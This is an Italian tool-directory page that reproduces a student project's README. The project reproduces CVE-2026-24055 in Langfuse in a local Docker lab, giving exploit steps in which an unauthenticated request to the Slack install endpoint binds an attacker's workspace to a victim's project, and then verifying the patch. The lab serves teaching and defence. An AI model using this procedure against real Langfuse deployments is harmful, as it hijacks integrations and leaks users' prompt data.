Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-24055-OAuth-Langfuse | Kitploit
Strumenti/GitHubGitHub/imzanggg/cve-2026-24055-oauth-langfuse
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APIApprendimento e FormazioneLab e Pratica
GitHubimzanggg/cve-2026-24055-oauth-langfuse

CVE-2026-24055-OAuth-Langfuse

Vedi Repository
232 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-24055 — Installazione Slack OAuth non autenticata in Langfuse

Progetto del corso Sicurezza Web e delle Applicazioni — Gruppo 06, classe NT213.Q21.ANTT

📌 Riepilogo

Il progetto riproduce una vulnerabilità di sicurezza reale già divulgata (CVE-2026-24055) sulla piattaforma Langfuse — un endpoint OAuth che consente a un attaccante di assumere il controllo della connessione di un workspace Slack al progetto di un'altra persona senza effettuare l'accesso.

Il progetto comprende: la configurazione di un ambiente Docker che simula sia la versione vulnerabile che quella corretta, l'esecuzione dell'exploit passo dopo passo e la verifica che la patch funzioni correttamente. Attraverso questo si esercita l'analisi delle vulnerabilità di Access Control nel flusso OAuth, una competenza applicabile direttamente durante la costruzione o l'audit di sistemi di autenticazione web.

Competenze dimostrate: analisi del flusso OAuth2, Docker, lettura di security advisory, redazione di report tecnici, security testing.


Indice

  • Descrizione della vulnerabilità
  • Requisiti di sistema
  • Preparazione prima dell'esecuzione
  • Demo exploit — Vulnerable v3.146.0
  • Verifica della patch — Patched v3.147.0
  • Arresto dell'ambiente
  • Riferimenti

Descrizione della vulnerabilità

CVE-2026-24055 è una vulnerabilità di Improper Access Control in Langfuse dalla versione 3.89.0 alla 3.146.0.

L'endpoint /api/public/slack/install non richiede autenticazione, consentendo all'attaccante di associare il proprio workspace Slack a qualsiasi progetto semplicemente conoscendo il projectId. Quando la vittima crea un'automazione che invia notifiche su Slack, l'intero contenuto del prompt viene divulgato al workspace dell'attaccante.

AttributoDettaglio
CWECWE-284 — Improper Access Control
Versioni interessateLangfuse 3.89.0 – 3.146.0
Versione correttaLangfuse 3.147.0
GitHub AdvisoryGHSA-pvq7-vvfj-p98x
NVDCVE-2026-24055

Flusso dell'attacco

Sequence Diagram


Requisiti di sistema

StrumentoVersione minima
Docker Desktop24.0+
Docker Composev2
Gitqualsiasi
RAM8 GB

Preparazione prima dell'esecuzione

Creazione dell'app Slack

L'API di Slack consente di utilizzare http://localhost:3000 come Redirect URL.

  1. Vai su https://api.slack.com/apps → Create New App → From scratch
  2. Assegna un nome all'app, seleziona il workspace
  3. Vai su OAuth & Permissions → Redirect URLs → aggiungi:
    http://localhost:3000
    
  4. Salva il Client ID e il Client Secret

Demo exploit — Vulnerable v3.146

Passo 1 — Configurazione dell'ambiente

cd vulnerable
cp .env.example .env

Apri il file .env, inserisci i seguenti valori:

NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string

Passo 2 — Avvio di Langfuse v3.146.0

docker compose up -d

Verifica che i container siano pronti:

docker compose ps

Attendi circa 30–60 secondi. Tutti i container devono essere nello stato Up (healthy).

Passo 3 — Creazione degli account

Accedi a http://localhost:3000:

  1. Account Victim

    • Registra un account, crea un'Organization → crea un Project
    • Vai su Settings → annota il Project ID
  2. Account Attacker

    • Apri una scheda in incognito, registra un altro account (oppure non effettuare l'accesso)

Passo 4 — Esecuzione dell'exploit

Sul browser dell'attaccante (senza effettuare l'accesso a Langfuse), visita:

http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>

Il flusso che si verifica:

  • Il server non verifica l'autenticazione, reindirizza direttamente all'OAuth di Slack
  • Accedi al workspace Slack dell'attaccante → clicca Allow
  • Il workspace dell'attaccante è stato associato al progetto della vittima

Passo 5 — Conferma della divulgazione dei dati

Accedi con l'account victim:

  1. Vai su Settings → Integrations → verifica che Slack sia connesso (il workspace dell'attaccante)
  2. Crea un'Automation: Prompts → Automations → New
    • Trigger: Prompt created / updated / deleted
    • Action: Slack → seleziona il canale
  3. La vittima crea un nuovo prompt
  4. Lo Slack dell'attaccante riceve una notifica contenente i metadati del prompt (nome, versione, label, tag)

Verifica della patch — Patched v3.147

Passo 1 — Arresto dell'ambiente precedente

cd ../vulnerable
docker compose down

Passo 2 — Avvio di Langfuse v3.147.0

cd ../patched
cp .env.example .env
# Inserisci gli stessi valori della sezione vulnerable
docker compose up -d

Passo 3 — Riesecuzione dell'exploit

Prova senza effettuare l'accesso:

http://localhost:3000/api/public/slack/install?projectId=<any-project-id>

Risultato atteso — HTTP 401:

{ "error": "Authentication required" }

Prova effettuando l'accesso come attacker, usando il projectId della vittima:

http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>

Risultato atteso — HTTP 403:

{ "error": "You do not have permission to configure Slack for this project" }

La vulnerabilità è stata completamente corretta.


Arresto dell'ambiente

docker compose down

Se desideri eliminare tutti i dati (volumi):

docker compose down -v

Struttura delle directory

cve-2026-24055/
├── README.md                  ← questo file
├── vulnerable/
│   ├── docker-compose.yml     ← Langfuse v3.146.0 (vulnerabile)
│   └── .env.example
└── patched/
    ├── docker-compose.yml     ← Langfuse v3.147.0 (corretta)
    └── .env.example

Riferimenti

  • GitHub Security Advisory — GHSA-pvq7-vvfj-p98x
  • NVD — CVE-2026-24055
  • Commit fix — 3adc89e
Scarica lo strumento